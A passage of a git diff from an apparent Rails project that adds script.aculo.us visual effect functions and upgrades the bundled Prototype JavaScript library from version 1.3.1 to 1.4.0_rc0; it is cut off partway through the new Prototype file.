effect.effects[0].element.style.height = 0; + Element.show(effect.effects[0].element); + }, + afterFinishInternal: function(effect) { + var el = effect.effects[0].element; + var els = el.style; + Element.undoClipping(el); + Element.undoPositioned(el); + els.top = oldTop; + els.left = oldLeft; + els.height = oldHeight; + els.width = originalWidth; + Element.setInlineOpacity(el, oldOpacity); + } + }, options) + ) + } + }); +} + +Effect.Shrink = function(element) { + element = $(element); + var options = arguments[1] || {}; + + var originalWidth = element.clientWidth; + var originalHeight = element.clientHeight; + var oldTop = element.style.top; + var oldLeft = element.style.left; + var oldHeight = element.style.height; + var oldWidth = element.style.width; + var oldOpacity = Element.getInlineOpacity(element); + + var direction = options.direction || 'center'; + var moveTransition = options.moveTransition || Effect.Transitions.sinoidal; + var scaleTransition = options.scaleTransition || Effect.Transitions.sinoidal; + var opacityTransition = options.opacityTransition || Effect.Transitions.none; + + var moveX, moveY; + + switch (direction) { + case 'top-left': + moveX = moveY = 0; + break; + case 'top-right': + moveX = originalWidth; + moveY = 0; + break; + case 'bottom-left': + moveX = 0; + moveY = originalHeight; + break; + case 'bottom-right': + moveX = originalWidth; + moveY = originalHeight; + break; + case 'center': + moveX = originalWidth / 2; + moveY = originalHeight / 2; + break; + } + + return new Effect.Parallel( + [ new Effect.Opacity(element, { sync: true, to: 0.0, from: 1.0, transition: opacityTransition }), + new Effect.Scale(element, window.opera ? 1 : 0, { sync: true, transition: scaleTransition, restoreAfterFinish: true}), + new Effect.MoveBy(element, moveY, moveX, { sync: true, transition: moveTransition }) + ], Object.extend({ + beforeStartInternal: function(effect) { + Element.makePositioned(effect.effects[0].element); + Element.makeClipping(effect.effects[0].element); + }, + afterFinishInternal: function(effect) { + var el = effect.effects[0].element; + var els = el.style; + Element.hide(el); + Element.undoClipping(el); + Element.undoPositioned(el); + els.top = oldTop; + els.left = oldLeft; + els.height = oldHeight; + els.width = oldWidth; + Element.setInlineOpacity(el, oldOpacity); + } + }, options) + ); +} + +Effect.Pulsate = function(element) { + element = $(element); + var options = arguments[1] || {}; + var oldOpacity = Element.getInlineOpacity(element); + var transition = options.transition || Effect.Transitions.sinoidal; + var reverser = function(pos){ return transition(1-Effect.Transitions.pulse(pos)) }; + reverser.bind(transition); + return new Effect.Opacity(element, + Object.extend(Object.extend({ duration: 3.0, from: 0, + afterFinishInternal: function(effect) { Element.setInlineOpacity(effect.element, oldOpacity); } + }, options), {transition: reverser})); +} + +Effect.Fold = function(element) { + element = $(element); + var originalTop = element.style.top; + var originalLeft = element.style.left; + var originalWidth = element.style.width; + var originalHeight = element.style.height; + Element.makeClipping(element); + return new Effect.Scale(element, 5, Object.extend({ + scaleContent: false, + scaleX: false, + afterFinishInternal: function(effect) { + new Effect.Scale(element, 1, { + scaleContent: false, + scaleY: false, + afterFinishInternal: function(effect) { + Element.hide(effect.element); + Element.undoClipping(effect.element); + effect.element.style.top = originalTop; + effect.element.style.left = originalLeft; + effect.element.style.width = originalWidth; + effect.element.style.height = originalHeight; + } }); + }}, arguments[1] || {})); +} diff --git a/public/javascripts/prototype.js b/public/javascripts/prototype.js index 37635ccf..5f304380 100644 --- a/public/javascripts/prototype.js +++ b/public/javascripts/prototype.js @@ -1,1038 +1,1724 @@ -/* Prototype JavaScript framework, version 1.3.1 - * (c) 2005 Sam Stephenson - * - * THIS FILE IS AUTOMATICALLY GENERATED. When sending patches, please diff - * against the source tree, available from the Prototype darcs repository. - * - * Prototype is freely distributable under the terms of an MIT-style license. - * - * For details, see the Prototype web site: http://prototype.conio.net/ - * -/*--------------------------------------------------------------------------*/ - -var Prototype = { - Version: '1.3.1', - emptyFunction: function() {} -} - -var Class = { - create: function() { - return function() { - this.initialize.apply(this, arguments); - } - } -} - -var Abstract = new Object(); - -Object.extend = function(destination, source) { - for (property in source) { - destination[property] = source[property]; - } - return destination; -} - -Object.prototype.extend = function(object) { - return Object.extend.apply(this, [this, object]); -} - -Function.prototype.bind = function(object) { - var __method = this; - return function() { - __method.apply(object, arguments); - } -} - -Function.prototype.bindAsEventListener = function(object) { - var __method = this; - return function(event) { - __method.call(object, event || window.event); - } -} - -Number.prototype.toColorPart = function() { - var digits = this.toString(16); - if (this < 16) return '0' + digits; - return digits; -} - -var Try = { - these: function() { - var returnValue; - - for (var i = 0; i < arguments.length; i++) { - var lambda = arguments[i]; - try { - returnValue = lambda(); - break; - } catch (e) {} - } - - return returnValue; - } -} - -/*--------------------------------------------------------------------------*/ - -var PeriodicalExecuter = Class.create(); -PeriodicalExecuter.prototype = { - initialize: function(callback, frequency) { - this.callback = callback; - this.frequency = frequency; - this.currentlyExecuting = false; - - this.registerCallback(); - }, - - registerCallback: function() { - setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); - }, - - onTimerEvent: function() { - if (!this.currentlyExecuting) { - try { - this.currentlyExecuting = true; - this.callback(); - } finally { - this.currentlyExecuting = false; - } - } - } -} - -/*--------------------------------------------------------------------------*/ - -function $() { - var elements = new Array(); - - for (var i = 0; i < arguments.length; i++) { - var element = arguments[i]; - if (typeof element == 'string') - element = document.getElementById(element); - - if (arguments.length == 1) - return element; - - elements.push(element); - } - - return elements; -} - -if (!Array.prototype.push) { - Array.prototype.push = function() { - var startLength = this.length; - for (var i = 0; i < arguments.length; i++) - this[startLength + i] = arguments[i]; - return this.length; - } -} - -if (!Function.prototype.apply) { - // Based on code from http://www.youngpup.net/ - Function.prototype.apply = function(object, parameters) { - var parameterStrings = new Array(); - if (!object) object = window; - if (!parameters) parameters = new Array(); - - for (var i = 0; i < parameters.length; i++) - parameterStrings[i] = 'parameters[' + i + ']'; - - object.__apply__ = this; - var result = eval('object.__apply__(' + - parameterStrings[i].join(', ') + ')'); - object.__apply__ = null; - - return result; - } -} - -String.prototype.extend({ - stripTags: function() { - return this.replace(/<\/?[^>]+>/gi, ''); - }, - - escapeHTML: function() { - var div = document.createElement('div'); - var text = document.createTextNode(this); - div.appendChild(text); - return div.innerHTML; - }, - - unescapeHTML: function() { - var div = document.createElement('div'); - div.innerHTML = this.stripTags(); - return div.childNodes[0].nodeValue; - } -}); - -var Ajax = { - getTransport: function() { - return Try.these( - function() {return new ActiveXObject('Msxml2.XMLHTTP')}, - function() {return new ActiveXObject('Microsoft.XMLHTTP')}, - function() {return new XMLHttpRequest()} - ) || false; - } -} - -Ajax.Base = function() {}; -Ajax.Base.prototype = { - setOptions: function(options) { - this.options = { - method: 'post', - asynchronous: true, - parameters: '' - }.extend(options || {}); - }, - - responseIsSuccess: function() { - return this.transport.status == undefined - || this.transport.status == 0 - || (this.transport.status >= 200 && this.transport.status < 300); - }, - - responseIsFailure: function() { - return !this.responseIsSuccess(); - } -} - -Ajax.Request = Class.create(); -Ajax.Request.Events = - ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete']; - -Ajax.Request.prototype = (new Ajax.Base()).extend({ - initialize: function(url, options) { - this.transport = Ajax.getTransport(); - this.setOptions(options); - this.request(url); - }, - - request: function(url) { - var parameters = this.options.parameters || ''; - if (parameters.length > 0) parameters += '&_='; - - try { - if (this.options.method == 'get') - url += '?' + parameters; - - this.transport.open(this.options.method, url, - this.options.asynchronous); - - if (this.options.asynchronous) { - this.transport.onreadystatechange = this.onStateChange.bind(this); - setTimeout((function() {this.respondToReadyState(1)}).bind(this), 10); - } - - this.setRequestHeaders(); - - var body = this.options.postBody ? this.options.postBody : parameters; - this.transport.send(this.options.method == 'post' ? body : null); - - } catch (e) { - } - }, - - setRequestHeaders: function() { - var requestHeaders = - ['X-Requested-With', 'XMLHttpRequest', - 'X-Prototype-Version', Prototype.Version]; - - if (this.options.method == 'post') { - requestHeaders.push('Content-type', - 'application/x-www-form-urlencoded'); - - /* Force "Connection: close" for Mozilla browsers to work around - * a bug where XMLHttpReqeuest sends an incorrect Content-length - * header. See Mozilla Bugzilla #246651. - */ - if (this.transport.overrideMimeType) - requestHeaders.push('Connection', 'close'); - } - - if (this.options.requestHeaders) - requestHeaders.push.apply(requestHeaders, this.options.requestHeaders); - - for (var i = 0; i < requestHeaders.length; i += 2) - this.transport.setRequestHeader(requestHeaders[i], requestHeaders[i+1]); - }, - - onStateChange: function() { - var readyState = this.transport.readyState; - if (readyState != 1) - this.respondToReadyState(this.transport.readyState); - }, - - respondToReadyState: function(readyState) { - var event = Ajax.Request.Events[readyState]; - - if (event == 'Complete') - (this.options['on' + this.transport.status] - || this.options['on' + this.responseIsSuccess() ? 'Success' : 'Failure'] - || Prototype.emptyFunction)(this.transport); - - (this.options['on' + event] || Prototype.emptyFunction)(this.transport); - - /* Avoid memory leak in MSIE: clean up the oncomplete event handler */ - if (event == 'Complete') - this.transport.onreadystatechange = Prototype.emptyFunction; - } -}); - -Ajax.Updater = Class.create(); -Ajax.Updater.ScriptFragment = '(?:)((\n|.)*?)(?:<\/script>)'; - -Ajax.Updater.prototype.extend(Ajax.Request.prototype).extend({ - initialize: function(container, url, options) { - this.containers = { - success: container.success ? $(container.success) : $(container), - failure: container.failure ? $(container.failure) : - (container.success ? null : $(container)) - } - - this.transport = Ajax.getTransport(); - this.setOptions(options); - - var onComplete = this.options.onComplete || Prototype.emptyFunction; - this.options.onComplete = (function() { - this.updateContent(); - onComplete(this.transport); - }).bind(this); - - this.request(url); - }, - - updateContent: function() { - var receiver = this.responseIsSuccess() ? - this.containers.success : this.containers.failure; - - var match = new RegExp(Ajax.Updater.ScriptFragment, 'img'); - var response = this.transport.responseText.replace(match, ''); - var scripts = this.transport.responseText.match(match); - - if (receiver) { - if (this.options.insertion) { - new this.options.insertion(receiver, response); - } else { - receiver.innerHTML = response; - } - } - - if (this.responseIsSuccess()) { - if (this.onComplete) - setTimeout((function() {this.onComplete( - this.transport)}).bind(this), 10); - } - - if (this.options.evalScripts && scripts) { - match = new RegExp(Ajax.Updater.ScriptFragment, 'im'); - setTimeout((function() { - for (var i = 0; i < scripts.length; i++) - eval(scripts[i].match(match)[1]); - }).bind(this), 10); - } - } -}); - -Ajax.PeriodicalUpdater = Class.create(); -Ajax.PeriodicalUpdater.prototype = (new Ajax.Base()).extend({ - initialize: function(container, url, options) { - this.setOptions(options); - this.onComplete = this.options.onComplete; - - this.frequency = (this.options.frequency || 2); - this.decay = 1; - - this.updater = {}; - this.container = container; - this.url = url; - - this.start(); - }, - - start: function() { - this.options.onComplete = this.updateComplete.bind(this); - this.onTimerEvent(); - }, - - stop: function() { - this.updater.onComplete = undefined; - clearTimeout(this.timer); - (this.onComplete || Ajax.emptyFunction).apply(this, arguments); - }, - - updateComplete: function(request) { - if (this.options.decay) { - this.decay = (request.responseText == this.lastText ? - this.decay * this.options.decay : 1); - - this.lastText = request.responseText; - } - this.timer = setTimeout(this.onTimerEvent.bind(this), - this.decay * this.frequency * 1000); - }, - - onTimerEvent: function() { - this.updater = new Ajax.Updater(this.container, this.url, this.options); - } -}); - -document.getElementsByClassName = function(className) { - var children = document.getElementsByTagName('*') || document.all; - var elements = new Array(); - - for (var i = 0; i < children.length; i++) { - var child = children[i]; - var classNames = child.className.split(' '); - for (var j = 0; j < classNames.length; j++) { - if (classNames[j] == className) { - elements.push(child); - break; - } - } - } - - return elements; -} - -/*--------------------------------------------------------------------------*/ - -if (!window.Element) { - var Element = new Object(); -} - -Object.extend(Element, { - toggle: function() { - for (var i = 0; i < arguments.length; i++) { - var element = $(arguments[i]); - element.style.display = - (element.style.display == 'none' ? '' : 'none'); - } - }, - - hide: function() { - for (var i = 0; i < arguments.length; i++) { - var element = $(arguments[i]); - element.style.display = 'none'; - } - }, - - show: function() { - for (var i = 0; i < arguments.length; i++) { - var element = $(arguments[i]); - element.style.display = ''; - } - }, - - remove: function(element) { - element = $(element); - element.parentNode.removeChild(element); - }, - - getHeight: function(element) { - element = $(element); - return element.offsetHeight; - }, - - hasClassName: function(element, className) { - element = $(element); - if (!element) - return; - var a = element.className.split(' '); - for (var i = 0; i < a.length; i++) { - if (a[i] == className) - return true; - } - return false; - }, - - addClassName: function(element, className) { - element = $(element); - Element.removeClassName(element, className); - element.className += ' ' + className; - }, - - removeClassName: function(element, className) { - element = $(element); - if (!element) - return; - var newClassName = ''; - var a = element.className.split(' '); - for (var i = 0; i < a.length; i++) { - if (a[i] != className) { - if (i > 0) - newClassName += ' '; - newClassName += a[i]; - } - } - element.className = newClassName; - }, - - // removes whitespace-only text node children - cleanWhitespace: function(element) { - var element = $(element); - for (var i = 0; i < element.childNodes.length; i++) { - var node = element.childNodes[i]; - if (node.nodeType == 3 && !/\S/.test(node.nodeValue)) - Element.remove(node); - } - } -}); - -var Toggle = new Object(); -Toggle.display = Element.toggle; - -/*--------------------------------------------------------------------------*/ - -Abstract.Insertion = function(adjacency) { - this.adjacency = adjacency; -} - -Abstract.Insertion.prototype = { - initialize: function(element, content) { - this.element = $(element); - this.content = content; - - if (this.adjacency && this.element.insertAdjacentHTML) { - this.element.insertAdjacentHTML(this.adjacency, this.content); - } else { - this.range = this.element.ownerDocument.createRange(); - if (this.initializeRange) this.initializeRange(); - this.fragment = this.range.createContextualFragment(this.content); - this.insertContent(); - } - } -} - -var Insertion = new Object(); - -Insertion.Before = Class.create(); -Insertion.Before.prototype = (new Abstract.Insertion('beforeBegin')).extend({ - initializeRange: function() { - this.range.setStartBefore(this.element); - }, - - insertContent: function() { - this.element.parentNode.insertBefore(this.fragment, this.element); - } -}); - -Insertion.Top = Class.create(); -Insertion.Top.prototype = (new Abstract.Insertion('afterBegin')).extend({ - initializeRange: function() { - this.range.selectNodeContents(this.element); - this.range.collapse(true); - }, - - insertContent: function() { - this.element.insertBefore(this.fragment, this.element.firstChild); - } -}); - -Insertion.Bottom = Class.create(); -Insertion.Bottom.prototype = (new Abstract.Insertion('beforeEnd')).extend({ - initializeRange: function() { - this.range.selectNodeContents(this.element); - this.range.collapse(this.element); - }, - - insertContent: function() { - this.element.appendChild(this.fragment); - } -}); - -Insertion.After = Class.create(); -Insertion.After.prototype = (new Abstract.Insertion('afterEnd')).extend({ - initializeRange: function() { - this.range.setStartAfter(this.element); - }, - - insertContent: function() { - this.element.parentNode.insertBefore(this.fragment, - this.element.nextSibling); - } -}); - -var Field = { - clear: function() { - for (var i = 0; i < arguments.length; i++) - $(arguments[i]).value = ''; - }, - - focus: function(element) { - $(element).focus(); - }, - - present: function() { - for (var i = 0; i < arguments.length; i++) - if ($(arguments[i]).value == '') return false; - return true; - }, - - select: function(element) { - $(element).select(); - }, - - activate: function(element) { - $(element).focus(); - $(element).select(); - } -} - -/*--------------------------------------------------------------------------*/ - -var Form = { - serialize: function(form) { - var elements = Form.getElements($(form)); - var queryComponents = new Array(); - - for (var i = 0; i < elements.length; i++) { - var queryComponent = Form.Element.serialize(elements[i]); - if (queryComponent) - queryComponents.push(queryComponent); - } - - return queryComponents.join('&'); - }, - - getElements: function(form) { - var form = $(form); - var elements = new Array(); - - for (tagName in Form.Element.Serializers) { - var tagElements = form.getElementsByTagName(tagName); - for (var j = 0; j < tagElements.length; j++) - elements.push(tagElements[j]); - } - return elements; - }, - - getInputs: function(form, typeName, name) { - var form = $(form); - var inputs = form.getElementsByTagName('input'); - - if (!typeName && !name) - return inputs; - - var matchingInputs = new Array(); - for (var i = 0; i < inputs.length; i++) { - var input = inputs[i]; - if ((typeName && input.type != typeName) || - (name && input.name != name)) - continue; - matchingInputs.push(input); - } - - return matchingInputs; - }, - - disable: function(form) { - var elements = Form.getElements(form); - for (var i = 0; i < elements.length; i++) { - var element = elements[i]; - element.blur(); - element.disabled = 'true'; - } - }, - - enable: function(form) { - var elements = Form.getElements(form); - for (var i = 0; i < elements.length; i++) { - var element = elements[i]; - element.disabled = ''; - } - }, - - focusFirstElement: function(form) { - var form = $(form); - var elements = Form.getElements(form); - for (var i = 0; i < elements.length; i++) { - var element = elements[i]; - if (element.type != 'hidden' && !element.disabled) { - Field.activate(element); - break; - } - } - }, - - reset: function(form) { - $(form).reset(); - } -} - -Form.Element = { - serialize: function(element) { - var element = $(element); - var method = element.tagName.toLowerCase(); - var parameter = Form.Element.Serializers[method](element); - - if (parameter) - return encodeURIComponent(parameter[0]) + '=' + - encodeURIComponent(parameter[1]); - }, - - getValue: function(element) { - var element = $(element); - var method = element.tagName.toLowerCase(); - var parameter = Form.Element.Serializers[method](element); - - if (parameter) - return parameter[1]; - } -} - -Form.Element.Serializers = { - input: function(element) { - switch (element.type.toLowerCase()) { - case 'submit': - case 'hidden': - case 'password': - case 'text': - return Form.Element.Serializers.textarea(element); - case 'checkbox': - case 'radio': - return Form.Element.Serializers.inputSelector(element); - } - return false; - }, - - inputSelector: function(element) { - if (element.checked) - return [element.name, element.value]; - }, - - textarea: function(element) { - return [element.name, element.value]; - }, - - select: function(element) { - var value = ''; - if (element.type == 'select-one') { - var index = element.selectedIndex; - if (index >= 0) - value = element.options[index].value || element.options[index].text; - } else { - value = new Array(); - for (var i = 0; i < element.length; i++) { - var opt = element.options[i]; - if (opt.selected) - value.push(opt.value || opt.text); - } - } - return [element.name, value]; - } -} - -/*--------------------------------------------------------------------------*/ - -var $F = Form.Element.getValue; - -/*--------------------------------------------------------------------------*/ - -Abstract.TimedObserver = function() {} -Abstract.TimedObserver.prototype = { - initialize: function(element, frequency, callback) { - this.frequency = frequency; - this.element = $(element); - this.callback = callback; - - this.lastValue = this.getValue(); - this.registerCallback(); - }, - - registerCallback: function() { - setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); - }, - - onTimerEvent: function() { - var value = this.getValue(); - if (this.lastValue != value) { - this.callback(this.element, value); - this.lastValue = value; - } - } -} - -Form.Element.Observer = Class.create(); -Form.Element.Observer.prototype = (new Abstract.TimedObserver()).extend({ - getValue: function() { - return Form.Element.getValue(this.element); - } -}); - -Form.Observer = Class.create(); -Form.Observer.prototype = (new Abstract.TimedObserver()).extend({ - getValue: function() { - return Form.serialize(this.element); - } -}); - -/*--------------------------------------------------------------------------*/ - -Abstract.EventObserver = function() {} -Abstract.EventObserver.prototype = { - initialize: function(element, callback) { - this.element = $(element); - this.callback = callback; - - this.lastValue = this.getValue(); - if (this.element.tagName.toLowerCase() == 'form') - this.registerFormCallbacks(); - else - this.registerCallback(this.element); - }, - - onElementEvent: function() { - var value = this.getValue(); - if (this.lastValue != value) { - this.callback(this.element, value); - this.lastValue = value; - } - }, - - registerFormCallbacks: function() { - var elements = Form.getElements(this.element); - for (var i = 0; i < elements.length; i++) - this.registerCallback(elements[i]); - }, - - registerCallback: function(element) { - if (element.type) { - switch (element.type.toLowerCase()) { - case 'checkbox': - case 'radio': - element.target = this; - element.prev_onclick = element.onclick || Prototype.emptyFunction; - element.onclick = function() { - this.prev_onclick(); - this.target.onElementEvent(); - } - break; - case 'password': - case 'text': - case 'textarea': - case 'select-one': - case 'select-multiple': - element.target = this; - element.prev_onchange = element.onchange || Prototype.emptyFunction; - element.onchange = function() { - this.prev_onchange(); - this.target.onElementEvent(); - } - break; - } - } - } -} - -Form.Element.EventObserver = Class.create(); -Form.Element.EventObserver.prototype = (new Abstract.EventObserver()).extend({ - getValue: function() { - return Form.Element.getValue(this.element); - } -}); - -Form.EventObserver = Class.create(); -Form.EventObserver.prototype = (new Abstract.EventObserver()).extend({ - getValue: function() { - return Form.serialize(this.element); - } -}); - - -if (!window.Event) { - var Event = new Object(); -} - -Object.extend(Event, { - KEY_BACKSPACE: 8, - KEY_TAB: 9, - KEY_RETURN: 13, - KEY_ESC: 27, - KEY_LEFT: 37, - KEY_UP: 38, - KEY_RIGHT: 39, - KEY_DOWN: 40, - KEY_DELETE: 46, - - element: function(event) { - return event.target || event.srcElement; - }, - - isLeftClick: function(event) { - return (((event.which) && (event.which == 1)) || - ((event.button) && (event.button == 1))); - }, - - pointerX: function(event) { - return event.pageX || (event.clientX + - (document.documentElement.scrollLeft || document.body.scrollLeft)); - }, - - pointerY: function(event) { - return event.pageY || (event.clientY + - (document.documentElement.scrollTop || document.body.scrollTop)); - }, - - stop: function(event) { - if (event.preventDefault) { - event.preventDefault(); - event.stopPropagation(); - } else { - event.returnValue = false; - } - }, - - // find the first node with the given tagName, starting from the - // node the event was triggered on; traverses the DOM upwards - findElement: function(event, tagName) { - var element = Event.element(event); - while (element.parentNode && (!element.tagName || - (element.tagName.toUpperCase() != tagName.toUpperCase()))) - element = element.parentNode; - return element; - }, - - observers: false, - - _observeAndCache: function(element, name, observer, useCapture) { - if (!this.observers) this.observers = []; - if (element.addEventListener) { - this.observers.push([element, name, observer, useCapture]); - element.addEventListener(name, observer, useCapture); - } else if (element.attachEvent) { - this.observers.push([element, name, observer, useCapture]); - element.attachEvent('on' + name, observer); - } - }, - - unloadCache: function() { - if (!Event.observers) return; - for (var i = 0; i < Event.observers.length; i++) { - Event.stopObserving.apply(this, Event.observers[i]); - Event.observers[i][0] = null; - } - Event.observers = false; - }, - - observe: function(element, name, observer, useCapture) { - var element = $(element); - useCapture = useCapture || false; - - if (name == 'keypress' && - ((navigator.appVersion.indexOf('AppleWebKit') > 0) - || element.attachEvent)) - name = 'keydown'; - - this._observeAndCache(element, name, observer, useCapture); - }, - - stopObserving: function(element, name, observer, useCapture) { - var element = $(element); - useCapture = useCapture || false; - - if (name == 'keypress' && - ((navigator.appVersion.indexOf('AppleWebKit') > 0) - || element.detachEvent)) - name = 'keydown'; - - if (element.removeEventListener) { - element.removeEventListener(name, observer, useCapture); - } else if (element.detachEvent) { - element.detachEvent('on' + name, observer); - } - } -}); - -/* prevent memory leaks in IE */ -Event.observe(window, 'unload', Event.unloadCache, false); - -var Position = { - - // set to true if needed, warning: firefox performance problems - // NOT neeeded for page scrolling, only if draggable contained in - // scrollable elements - includeScrollOffsets: false, - - // must be called before calling withinIncludingScrolloffset, every time the - // page is scrolled - prepare: function() { - this.deltaX = window.pageXOffset - || document.documentElement.scrollLeft - || document.body.scrollLeft - || 0; - this.deltaY = window.pageYOffset - || document.documentElement.scrollTop - || document.body.scrollTop - || 0; - }, - - realOffset: function(element) { - var valueT = 0, valueL = 0; - do { - valueT += element.scrollTop || 0; - valueL += element.scrollLeft || 0; - element = element.parentNode; - } while (element); - return [valueL, valueT]; - }, - - cumulativeOffset: function(element) { - var valueT = 0, valueL = 0; - do { - valueT += element.offsetTop || 0; - valueL += element.offsetLeft || 0; - element = element.offsetParent; - } while (element); - return [valueL, valueT]; - }, - - // caches x/y coordinate pair to use with overlap - within: function(element, x, y) { - if (this.includeScrollOffsets) - return this.withinIncludingScrolloffsets(element, x, y); - this.xcomp = x; - this.ycomp = y; - this.offset = this.cumulativeOffset(element); - - return (y >= this.offset[1] && - y < this.offset[1] + element.offsetHeight && - x >= this.offset[0] && - x < this.offset[0] + element.offsetWidth); - }, - - withinIncludingScrolloffsets: function(element, x, y) { - var offsetcache = this.realOffset(element); - - this.xcomp = x + offsetcache[0] - this.deltaX; - this.ycomp = y + offsetcache[1] - this.deltaY; - this.offset = this.cumulativeOffset(element); - - return (this.ycomp >= this.offset[1] && - this.ycomp < this.offset[1] + element.offsetHeight && - this.xcomp >= this.offset[0] && - this.xcomp < this.offset[0] + element.offsetWidth); - }, - - // within must be called directly before - overlap: function(mode, element) { - if (!mode) return 0; - if (mode == 'vertical') - return ((this.offset[1] + element.offsetHeight) - this.ycomp) / - element.offsetHeight; - if (mode == 'horizontal') - return ((this.offset[0] + element.offsetWidth) - this.xcomp) / - element.offsetWidth; - }, - - clone: function(source, target) { - source = $(source); - target = $(target); - target.style.position = 'absolute'; - var offsets = this.cumulativeOffset(source); - target.style.top = offsets[1] + 'px'; - target.style.left = offsets[0] + 'px'; - target.style.width = source.offsetWidth + 'px'; - target.style.height = source.offsetHeight + 'px'; - } -} +/* Prototype JavaScript framework, version 1.4.0_rc0 + * (c) 2005 Sam Stephenson + * + * THIS FILE IS AUTOMATICALLY GENERATED. When sending patches, please diff + * against the source tree, available from the Prototype darcs repository. + * + * Prototype is freely distributable under the terms of an MIT-style license. + * + * For details, see the Prototype web site: http://prototype.conio.net/ + * +/*--------------------------------------------------------------------------*/ + +var Prototype = { + Version: '1.4.0_rc0', + + emptyFunction: function() {}, + K: function(x) {return x} +} + +var Class = { + create: function() { + return function() { + this.initialize.apply(this, arguments); + } + } +} + +var Abstract = new Object(); + +Object.extend = function(destination, source) { + for (property in source) { + destination[property] = source[property]; + } + return destination; +} + +Object.inspect = function(object) { + try { + if (object == undefined) return 'undefined'; + if (object == null) return 'null'; + return object.inspect ? object.inspect() : object.toString(); + } catch (e) { + if (e instanceof RangeError) return '...'; + throw e; + } +} + +Function.prototype.bind = function(object) { + var __method = this; + return function() { + return __method.apply(object, arguments); + } +} + +Function.prototype.bindAsEventListener = function(object) { + var __method = this; + return function(event) { + return __method.call(object, event || window.event); + } +} + +Object.extend(Number.prototype, { + toColorPart: function() { + var digits = this.toString(16); + if (this < 16) return '0' + digits; + return digits; + }, + + succ: function() { + return this + 1; + }, + + times: function(iterator) { + $R(0, this, true).each(iterator); + return this; + } +}); + +var Try = { + these: function() { + var returnValue; + + for (var i = 0; i < arguments.length; i++) { + var lambda = arguments[i]; + try { + returnValue = lambda(); + break; + } catch (e) {} + } + + return returnValue; + } +} + +/*--------------------------------------------------------------------------*/ + +var PeriodicalExecuter = Class.create(); +PeriodicalExecuter.prototype = { + initialize: function(callback, frequency) { + this.callback = callback; + this.frequency = frequency; + this.currentlyExecuting = false; + + this.registerCallback(); + }, + + registerCallback: function() { + setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); + }, + + onTimerEvent: function() { + if (!this.currentlyExecuting) { + try { + this.currentlyExecuting = true; + this.callback(); + } finally { + this.currentlyExecuting = false; + } + } + } +} + +/*--------------------------------------------------------------------------*/ + +function $() { + var elements = new Array(); + + for (var i = 0; i < arguments.length; i++) { + var element = arguments[i]; + if (typeof element == 'string') + element = document.getElementById(element); + + if (arguments.length == 1) + return element; + + elements.push(element); + } + + return elements; +} +Object.extend(String.prototype, { + stripTags: function() { + return this.replace(/<\/?[^>]+>/gi, ''); + }, + + escapeHTML: function() { + var div = document.createElement('div'); + var text = document.createTextNode(this); + div.appendChild(text); + return div.innerHTML; + }, + + unescapeHTML: function() { + var div = document.createElement('div'); + div.innerHTML = this.stripTags(); + return div.childNodes[0] ? div.childNodes[0].nodeValue : ''; + }, + + toQueryParams: function() { + var pairs = this.match(/^\??(.*)$/)[1].split('&'); + return pairs.inject({}, function(params, pairString) { + var pair = pairString.split('='); + params[pair[0]] = pair[1]; + return params; + }); + }, + + toArray: function() { + return this.split(''); + }, + + camelize: function() { + var oStringList = this.split('-'); + if (oStringList.length == 1) return oStringList[0]; + + var camelizedString = this.indexOf('-') == 0 + ? oStringList[0].charAt(0).toUpperCase() + oStringList[0].substring(1) + : oStringList[0]; + + for (var i = 1, len = oStringList.length; i < len; i++) { + var s = oStringList[i]; + camelizedString += s.charAt(0).toUpperCase() + s.substring(1); + } + + return camelizedString; + }, + + inspect: function() { + return "'" + this.replace('\\', '\\\\').replace("'", '\\\'') + "'"; + } +}); + +String.prototype.parseQuery = String.prototype.toQueryParams; + +var $break = new Object(); +var $continue = new Object(); + +var Enumerable = { + each: function(iterator) { + var index = 0; + try { + this._each(function(value) { + try { + iterator(value, index++); + } catch (e) { + if (e != $continue) throw e; + } + }); + } catch (e) { + if (e != $break) throw e; + } + }, + + all: function(iterator) { + var result = true; + this.each(function(value, index) { + if (!(result &= (iterator || Prototype.K)(value, index))) + throw $break; + }); + return result; + }, + + any: function(iterator) { + var result = true; + this.each(function(value, index) { + if (result &= (iterator || Prototype.K)(value, index)) + throw $break; + }); + return result; + }, + + collect: function(iterator) { + var results = []; + this.each(function(value, index) { + results.push(iterator(value, index)); + }); + return results; + }, + + detect: function (iterator) { + var result; + this.each(function(value, index) { + if (iterator(value, index)) { + result = value; + throw $break; + } + }); + return result; + }, + + findAll: function(iterator) { + var results = []; + this.each(function(value, index) { + if (iterator(value, index)) + results.push(value); + }); + return results; + }, + + grep: function(pattern, iterator) { + var results = []; + this.each(function(value, index) { + var stringValue = value.toString(); + if (stringValue.match(pattern)) + results.push((iterator || Prototype.K)(value, index)); + }) + return results; + }, + + include: function(object) { + var found = false; + this.each(function(value) { + if (value == object) { + found = true; + throw $break; + } + }); + return found; + }, + + inject: function(memo, iterator) { + this.each(function(value, index) { + memo = iterator(memo, value, index); + }); + return memo; + }, + + invoke: function(method) { + var args = $A(arguments).slice(1); + return this.collect(function(value) { + return value[method].apply(value, args); + }); + }, + + max: function(iterator) { + var result; + this.each(function(value, index) { + value = (iterator || Prototype.K)(value, index); + if (value >= (result || value)) + result = value; + }); + return result; + }, + + min: function(iterator) { + var result; + this.each(function(value, index) { + value = (iterator || Prototype.K)(value, index); + if (value <= (result || value)) + result = value; + }); + return result; + }, + + partition: function(iterator) { + var trues = [], falses = []; + this.each(function(value, index) { + ((iterator || Prototype.K)(value, index) ? + trues : falses).push(value); + }); + return [trues, falses]; + }, + + pluck: function(property) { + var results = []; + this.each(function(value, index) { + results.push(value[property]); + }); + return results; + }, + + reject: function(iterator) { + var results = []; + this.each(function(value, index) { + if (!iterator(value, index)) + results.push(value); + }); + return results; + }, + + sortBy: function(iterator) { + return this.collect(function(value, index) { + return {value: value, criteria: iterator(value, index)}; + }).sort(function(left, right) { + var a = left.criteria, b = right.criteria; + return a < b ? -1 : a > b ? 1 : 0; + }).pluck('value'); + }, + + toArray: function() { + return this.collect(Prototype.K); + }, + + zip: function() { + var iterator = Prototype.K, args = $A(arguments); + if (typeof args.last() == 'function') + iterator = args.pop(); + + var collections = [this].concat(args).map($A); + return this.map(function(value, index) { + iterator(value = collections.pluck(index)); + return value; + }); + }, + + inspect: function() { + return '#'; + } +} + +Object.extend(Enumerable, { + map: Enumerable.collect, + find: Enumerable.detect, + select: Enumerable.findAll, + member: Enumerable.include, + entries: Enumerable.toArray +}); +var $A = Array.from = function(iterable) 